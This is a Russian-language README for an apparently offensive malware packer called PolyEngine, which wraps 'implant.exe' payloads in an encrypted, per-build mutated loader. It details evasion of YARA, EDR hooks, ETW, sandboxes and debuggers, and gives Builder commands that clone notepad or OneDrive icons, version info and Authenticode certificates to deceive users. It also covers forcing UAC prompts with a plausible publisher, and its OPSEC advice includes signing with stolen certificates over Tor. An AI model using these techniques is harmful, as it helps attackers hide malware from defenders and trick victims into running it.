CloneMeta_CopyResources загружает донора как плоский файл данных (LOAD_LIBRARY_AS_DATAFILE — намеренно без LOAD_LIBRARY_AS_IMAGE_RESOURCE, который активирует перенаправление MUI-ресурсов для системных файлов и направляет поиск RT_GROUP_ICON в языковой сателлитный .mui-файл, не содержащий иконок). RT_VERSION перечисляется через EnumResourceLanguagesA для сбора всех языковых ID; каждый вариант записывается с помощью UpdateResourceA. Для выбирается группа с наименьшим целочисленным ID (та, которую Explorer по соглашению использует для иконки оболочки). не используется для фактического поиска данных — он завершается ошибкой (1813) на дескрипторах даже для ресурсов, которые только что нашёл , потому что путь резервного поиска сломан в режиме файла данных. Вместо этого извлекает точный , хранящийся в доноре, а затем использует его напрямую. Все вызовы открывают выходной PE с помощью — флаг слияния сохраняет существующую запись полезной нагрузки из Phase 10.

Подпись Authenticode — `--pfx`

Необязательный этап после сборки. Когда указан --pfx, Builder подписывает упакованный выходной файл через mssign32!SignerSignEx2 (разрешается во время выполнения — нет зависимости от mssign32 на этапе компоновки, нет signtool.exe на рабочей станции оператора). Подписание выполняется как Phase 9 после возврата из BuildInfectedPE, поскольку запись подписи перезаписывает IMAGE_DIRECTORY_ENTRY_SECURITY и пересчитывает контрольную сумму PE; любое последующее изменение ресурсов аннулирует подпись.

PFX импортируется с флагами PKCS12_NO_PERSIST_KEY | PKCS12_PREFER_CNG_KSP | PKCS12_INCLUDE_EXTENDED_PROPERTIES. NO_PERSIST_KEY оставляет закрытый ключ только в памяти — файл контейнера ключей не записывается в %APPDATA%\Microsoft\Crypto, что в противном случае привязало бы рабочую станцию оператора к подписанному образцу. PREFER_CNG_KSP требуется для современных PFX (PowerShell New-SelfSignedCertificate, OpenSSL ≥3.x); без него завершается ошибкой (). Дайджест — SHA-256.


Структура блока метаданных .rsrc

Ресурсная полезная нагрузка не привязана к ID 101. Во время упаковки Builder:

  1. Генерирует WORD ID для RT_RCDATA через CryptGenRandom в диапазоне 0x0100..0x7EFF
  2. Пропатчивает LE-байты в g_PayloadResIdMarker[4..5] в заглушке загрузчика (тег {0xB1,0x0B,0x1D,0xE0} в Payload.c; без патча по умолчанию = 101)
  3. Запускает StubMorph_Apply на образе заглушки
  4. Записывает UpdateResource(RT_RCDATA, id) = [XTEA-encrypted blob | PAYLOAD_METADATA (280 bytes)]

Во время выполнения Stub читает маркер и вызывает FindResourceW с этим ID. Блок метаданных определяется сканированием назад от конца ресурса (до 128 байт, с учётом выравнивающего заполнения UpdateResource) и проверкой magic == XOR(key_salt[0..3]).

Поля структуры по порядку``` [XTEA-encrypted blob] [key_salt : 16 bytes] per-build random XTEA salt (4 x DWORD) [dll_idx0 : 1 byte ] index into g_DllPool (module stomping target 1) [dll_idx1 : 1 byte ] index into g_DllPool (module stomping target 2) [dll_idx2 : 1 byte ] index into g_DllPool (module stomping target 3) [pad : 1 byte ] alignment (0x00) [origSize : 4 bytes] original decompressed PE size (ULONG) [stubSize : 4 bytes] mutated ASM decryptor size (DWORD) [blobSize : 4 bytes] XTEA blob size (DWORD) [exportHash : 4 bytes] Djb2(exportName, key_salt[0]); 0 = none [exportArg : 128 bytes] null-terminated export argument string (zero-padded) [spoof_exe : 64 bytes] ASCII filename for PEB spoof (zero-padded) [semaphore_name : 32 bytes] exec-ctrl semaphore name; empty = default "wuauctl" (zero-padded) [sleep_fwd_ms : 4 bytes] sleep-fwd check duration (ms); 0 = default 500 [uptime_min : 4 bytes] uptime threshold (minutes); 0 = default 2 [hammer_ms : 4 bytes] API-hammer delay (ms); 0 = default 3000 [flags : 4 bytes] OPSEC_FLAG_* + EVASION_FLAG_* + PAYLOAD_FLAG_* bitmask [magic : 4 bytes] key_salt[0]^key_salt[1]^key_salt[2]^key_salt[3] ────────────────────────────── Total: 280 bytes (kMagicOffset = 276) ``` `flags` биты (см. `Engine/OpsecFlags.h`): OPSEC 0–5, обход/анхук 6–16, `PAYLOAD_FLAG_IS_SHELLCODE` (17).

Никакого фиксированного значения в блоке нет — каждое поле либо случайное (key_salt, magic), либо специфично для сборки. Идентификатор RT_RCDATA также задаётся для каждой сборки отдельно. YARA не может зацепиться за статическую последовательность байт или фиксированный идентификатор ресурса.

Коды выхода загрузчика (Release): все пути отказа загрузчика завершаются кодом 0 через LOADER_EXIT (Stub/Common.h). Отладочные сборки сохраняют отдельные коды для диагностики шагов. Детекты обхода уже завершаются с кодом 0.


Пул DLL для Module Stomping

Builder --preset выбирает 3 индекса DLL, хранящихся в .rsrc. Stub разрешает имена из g_DllPool во время выполнения — имя DLL не появляется ни в полезной нагрузке, ни в метаданных.

Таблица пула DLL

Структура проекта

Дерево файлов``` PolyEngine/ ├── Builder/ — packer CLI (links selected Engine units) │ ├── Builder.cpp — CLI, ResolveStubPath (stub_v* pool), pipeline orchestration │ ├── CloneMeta.cpp/h — VERSIONINFO + icon + cert directory (--clone-meta) │ ├── PeSigning.cpp/h — Authenticode via mssign32!SignerSignEx2 (--pfx) │ └── UacManifest.cpp/h — RT_MANIFEST requireAdministrator (--uac) ├── Engine/ — shared sources (subset linked into Builder and/or Stub) │ ├── Compression.c/h — LZNT1 compress (Builder) / decompress helpers │ ├── Crypto.c/h — CompoundEncrypt inner cipher (XOR+ROL+ADD+XOR) │ ├── DecryptorStub.asm — 34-byte polymorphic decryptor template │ ├── MutationEngine.c/h — per-build ASM decryptor mutation (Builder) │ ├── NtApi.c/h — NT API pointer table (Stub binds via HellsHall) │ ├── OpsecFlags.h — OPSEC_FLAG_* + EVASION_FLAG_* + PAYLOAD_FLAG_* bits │ ├── PeBuilder.c/h — PAYLOAD_METADATA (280 B) + .rsrc inject + marker patches │ ├── StubMorph.c/h — pack-time PE morph: timestamp, section-name profiles, island+tag randomize (Builder only) │ ├── RunPE.c/h — in-process PE map (IAT, relocs, DllMain / EXE EP) │ └── Xtea.c/h — XTEA-CTR + irrational-constant key derivation └── Stub/ — CRT-free runtime; Release|x64 → stub_v0.bin .. stub_v3.bin ├── Stub.cpp — EntryPoint → Loader_* phases; POLY_VARIANT OPSEC order ├── PolyIslands.c — marker-bracketed NOP pads + per-variant decoy blob ├── ApiHashing.cpp/h — Djb2 hash cache, GetProcAddressH, GetModuleHandleH ├── Common.c/h — custom_memcpy/memset/memcmp; LOADER_EXIT (Release→0) ├── Evasion.cpp/h — HammerDelay + RunChecks (sandbox / debugger) ├── HellsHall.asm — indirect syscall + Moonwalk RSP pivot (deny-list / shared) ├── ModuleStomping.c/h — ModuleStomp_Alloc / ModuleOverload_Alloc ├── Opsec.c/h — ETW patch, PEB spoof ├── Payload.c/h — g_PayloadResIdMarker, GetPayloadFromResource, decompress ├── StubNtApi.c — Sys_Nt* wrappers → HellsHall ├── Structs.h — NT structs (no DDK) ├── Syscalls.c/h — FreshyCalls SSN sort, syscall;ret trampoline in ntdll .text ├── TlsCallback.c — pre-EP anti-debug + TLS guard marker ├── Unhooker.c/h — optional \KnownDlls\ .text restore (--unhook) └── StackSpoof.c/h — gadget pool + per-call synthetic stack configs ```

Зависимости

  • Целевая система: Windows 10/11 x64
  • Visual Studio 2022 (MSVC v143) — без внешних библиотек
  • Заглушка: нулевая зависимость от CRT (/NODEFAULTLIB), без malloc/free, без <string.h>

Поддерживается: Razz | Создано для исследований безопасности с учётом OPSEC и для удовольствия

Помощь в реализации оказана Claude Code, Grok и DeepSeek


Лицензия

MIT — только авторизованное использование. Полный отказ от ответственности см. в LICENSE.

Скачать инструмент

Имя подделки — это просто ASCII-имя файла: Stub добавляет C:\Windows\System32\ в начале во время выполнения. Всё, что не входит в стандартный пул из 9 процессов, тоже работает.

Отключите отдельные функции OPSEC (например, когда целевой среде не требуется патчинг ETW, или подмена PEB ломает полезную нагрузку, которая обходит собственный PEB):``` Builder.exe implant.exe packed.exe --disable etw Builder.exe implant.exe packed.exe --disable peb,spoofing

root@kitploit:~
`--disable all` охватывает только проверки песочницы/отладки. Токены OPSEC (`etw`, `spoofing`, `peb`, `tls`) должны быть перечислены явно.

</details>

<details>
<summary><b>Клонирование идентичности — VERSIONINFO, иконка, сертификат Authenticode</b></summary>

Скопируйте косметическую идентичность любого донорского PE-файла в упакованный вывод. Свойства Проводника, значок на панели задач и вкладка «Цифровые подписи» выходного двоичного файла отражают донора:```
Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe
Builder.exe implant.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe"

Что клонируется:

  • VERSIONINFO (RT_VERSION) — вкладка «Свойства → Подробно» в Проводнике: компания, название продукта, версия файла, авторские права. Копируются все идентификаторы языков, присутствующие в доноре.
  • Иконка (RT_GROUP_ICON + RT_ICON) — группа иконок с наименьшим ID (та, которую Проводник использует для иконки оболочки). Панель задач, alt-tab и окно файлового менеджера — везде отображается иконка донора.
  • Каталог сертификатов Authenticode — исходный блок WIN_CERTIFICATE PKCS#7 добавляется в конец файла с выравниванием по 8 байтам. Вкладка «Свойства → Цифровые подписи» в Проводнике показывает подписанта донора (например, Microsoft Windows). Get-AuthenticodeSignature возвращает Status = HashMismatch — подпись структурно валидна, но хэш покрывает байты донора, а не наши. Защищает от небрежной визуальной проверки; любой настоящий верификатор (signtool verify, WinVerifyTrust, антивирусные движки) обнаруживает несоответствие.

OPSEC — OriginalFilename: в VERSIONINFO донора встроен OriginalFilename (например, notepad.exe). Некоторые проверки подписи и эвристики Defender помечают несоответствие между OriginalFilename и фактическим именем файла на диске. Назовите выходной файл соответствующим образом:``` Builder.exe implant.exe notepad.exe --clone-meta notepad.exe

root@kitploit:~
**Комбинация с `--pfx`:** когда присутствуют оба флага, этап 11 (клонирование) выполняется перед этапом 12 (подпись). Настоящая подпись перезаписывает каталог клонированного сертификата; VERSIONINFO и значок сохраняются. `Get-AuthenticodeSignature` показывает ваш сертификат как действительный, а не сертификат донора с несовпадающим хэшем:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2

Проверка:```powershell

Fake cert clone (no --pfx): expect HashMismatch, donor signer

Get-AuthenticodeSignature .\notepad.exe | Format-List *

Real signature (--pfx): expect Valid, your cert

Get-AuthenticodeSignature .\notepad.exe | Format-List *

signtool independent check

signtool verify /pa /v notepad.exe

root@kitploit:~
</details>

<details>
<summary><b>Повышение прав UAC — манифест requireAdministrator</b></summary>

Встраивайте манифест `requestedExecutionLevel="requireAdministrator"`, чтобы результирующий PE при запуске вызывал запрос UAC и получал маркер высокой целостности, если пользователь подтверждает действие:```
Builder.exe implant.exe packed.exe --uac

Манифест представляет собой ресурс RT_MANIFEST (идентификатор ресурса 1 — CREATEPROCESS_MANIFEST_RESOURCE_ID), тот же слот, который загрузчик Windows проверяет на наличие манифестов совместимости приложений и привилегий. В остальном выходные данные идентичны сборке без --uac; никаких изменений в путь Stub или payload не вносится.

Сочетание с --clone-meta и --pfx: Этап 10.5 (манифест) выполняется перед Этапом 11 (клонирование) и Этапом 12 (подпись). Подпись Authenticode, вычисленная на Этапе 12, покрывает все встроенные ресурсы, включая манифест — хэш действителен для конечного двоичного файла. Диалоговое окно UAC показывает имя издателя из сертификата подписи:``` Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2

root@kitploit:~
**OPSEC:** запрос UAC — это видимое, заметное пользователю событие. Диалог «Разрешить этому приложению вносить изменения на вашем устройстве?» отображает имя файла на диске и издателя Authenticode (или «Неизвестный издатель», если файл не подписан). Комбинируйте `--uac` с `--clone-meta`, чтобы показать знакомую иконку, и `--pfx`, чтобы показать достоверного издателя. Для автоматического выполнения, которое уже запускается из процесса с повышенными привилегиями (например, служба, WMI lateral movement, локальная оболочка администратора), `--uac` не требуется.

</details>

<details>
<summary><b>Подпись Authenticode (PFX, без signtool)</b></summary>

Подпишите упакованный результат сертификатом PFX. Builder взаимодействует напрямую с `mssign32!SignerSignEx2` — не требуется `signtool.exe` на рабочей станции оператора и не требуется инструмент подписи Windows SDK:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2

PFX без пароля (полностью опустите флаг --pfx-pass):``` Builder.exe implant.exe packed.exe --pfx cert.pfx

root@kitploit:~
Добавьте метку времени RFC 3161, чтобы подпись оставалась действительной после истечения срока действия сертификата или его отзыва. Учтите, что центр меток времени регистрирует IP-адрес сборки и точный момент подписания — см. примечание по OPSEC ниже:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 --ts-url http://timestamp.digicert.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.sectigo.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.globalsign.com/tsa/r6advanced1

OPSEC — когда пропускать метку времени: --ts-url подключается по желанию. Каждый запрос к публичному TSA заносит хост сборки оператора в HTTP-логи TSA вместе с точной секундой создания подписи — это создаёт сильную криминалистическую корреляцию, если сэмпл позже всплывёт при реагировании на инцидент. Встраивание метки времени также фиксирует этот самый момент в блоке подписи внутри упакованного PE-файла, где любой последующий аналитик сможет его прочитать. Когда метка времени не требуется (обычно для самоподписанных сертификатов или краткосрочных операций, где действительность подписи после истечения срока сертификата не имеет значения), опустите флаг — и подпись останется полностью автономной и изолированной от сети.

OPSEC — когда оставить метку времени: украденные или короткоживущие сертификаты подписи кода, которые будут отозваны, выигрывают от контрассигнации TSA — Windows принимает подпись после отзыва, если метка времени предшествует записи об отзыве. В таком случае подписывайте из изолированной ВМ через прокси / Tor и рассматривайте логи TSA как намеренное (но ограниченное) раскрытие.

Приватный ключ никогда не сохраняется на диске: PFXImportCertStore вызывается с PKCS12_NO_PERSIST_KEY, поэтому контейнер ключа не появляется в %APPDATA%\Microsoft\Crypto. Хеширование SHA-256, предпочтительный KSP в CNG для совместимости с PFX, созданными New-SelfSignedCertificate и OpenSSL ≥3.x.

Применяется через NtProtectVirtualMemory (через HellsHall + Moonwalk RSP pivot). Отдельная переменная pPage содержит базовый адрес для NtProtect (ядро может округлить его до границы страницы); pEtw сохраняется для фактической записи байтов.

taskhostw.exe
spoolsv.exe
wlrmdr.exe
WMPDMC.exe
hvix64.exe
CryptGenRandom
ПроверкаМетодЧто обнаруживает
debuggerPEB.BeingDebugged, PEB.NtGlobalFlag, флаги ProcessHeap, NtQueryInformationProcess(ProcessDebugPort)Подключён отладчик Win32
api-emuRtlComputeCrc32(seed, NULL, 0) — должно равняться seedЭмуляция API, возвращающая неверные результаты
exec-ctrlИменованный семафор (wuauctl по умолчанию, настраиваемый) — ERROR_ALREADY_EXISTSВторой запуск образца
sleep-fwdSleep(ms) + разница GetTickCount64, порог = 90% от msПесочница, ускоряющая вызовы Sleep

Мягкие проверки — для выхода требуется 2 или более положительных результатов (снижает количество ложных срабатываний):

ПроверкаПорогЧто обнаруживает
uptimeвремя работы системы < N минут (по умолчанию: 2)Недавно запущенная ВМ песочницы
cpuколичество логических процессоров < 2Маломощная песочница
screenширина экрана ≤ 1024 pxРазрешения песочницы 800×600 / 1024×768
filesколичество подразделов HKCU\...\Explorer\RecentDocs < 5Чистый / поддельный профиль пользователя

Временная задержка:

Evasion_HammerDelay() расходует реальное время через пары VirtualAlloc/VirtualFree, замеряемые с помощью GetTickCount64. Длительность настраивается через --hammer-s (по умолчанию: 3 секунды). Акселераторы времени песочницы не могут ускорить циклы вызовов аллокатора, что делает этот метод эффективным против обхода с ускорением Sleep (обходящего проверку sleep-fwd).

RT_GROUP_ICON
FindResourceA
ERROR_RESOURCE_NAME_NOT_FOUND
LOAD_LIBRARY_AS_DATAFILE
EnumResourceNamesA
LANG_NEUTRAL
EnumResourceLanguagesA
LANGID
FindResourceExA
UpdateResourceA
BeginUpdateResourceA(FALSE)
.rsrc

CloneMeta_CopyCertDirectory считывает донора в плоский буфер через ReadFileToBuffer, разбирает заголовки DOS → NT (с поддержкой доноров как x86, так и x64 через диспетчеризацию по OptionalHeader.Magic) и извлекает DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY]. Эта запись каталога использует смещение в файле (а не RVA) — это единственный каталог данных PE, в котором VirtualAddress является сырым байтовым смещением в файле. Блоб сертификата добавляется в конец файла с выравниванием по 8 байтам (требование выравнивания WIN_CERTIFICATE), запись SECURITY-каталога целевого файла пропатчивается на месте, затем MapFileAndCheckSumA (из imagehlp.lib) пересчитывает контрольную сумму PE. Дескриптор записи закрывается перед вызовом MapFileAndCheckSumA — MapFileAndCheckSumA открывает собственный внутренний дескриптор и завершится ошибкой совместного доступа, если вызывающий код удерживает эксклюзивный дескриптор записи, — затем снова ненадолго открывается для записи только 4-байтовой контрольной суммы по вычисленному смещению в файле.

SignerSignEx2
NTE_BAD_TYPE
0x8009000A

--ts-url используется по желанию. Проставление штампа времени RFC 3161 отправляет HTTP-запрос в центр штамповки времени, который логирует IP-адрес запросившего и момент подписания, а также встраивает этот момент в блоб подписи внутри PE. Пропустите этот флаг для полностью автономного подписания (air-gapped); используйте его только когда подпись должна пережить срок действия сертификата (например, украденные или короткоживущие сертификаты подписи кода, которые будут отозваны).

ИндексDLLГруппа
0xpsservices.dllПЕЧАТЬ
1msi.dllПЕЧАТЬ
2dbghelp.dllПЕЧАТЬ
3winmm.dllМЕДИА
4dxgi.dllМЕДИА
5oleaut32.dllМЕДИА
6winhttp.dllСЕТЬ
7wtsapi32.dllСЕТЬ
8wlanapi.dllСЕТЬ
9bcrypt.dll(только RANDOM)

Индекс 9 (bcrypt.dll) доступен только через --preset RANDOM; именованные пресеты покрывают индексы 0–8 группами по три. Builder проверяет во время сборки, что хотя бы одна из трёх выбранных DLL имеет исполняемую секцию, достаточно большую для блоба полезной нагрузки, и предупреждает, если ни одна не подходит.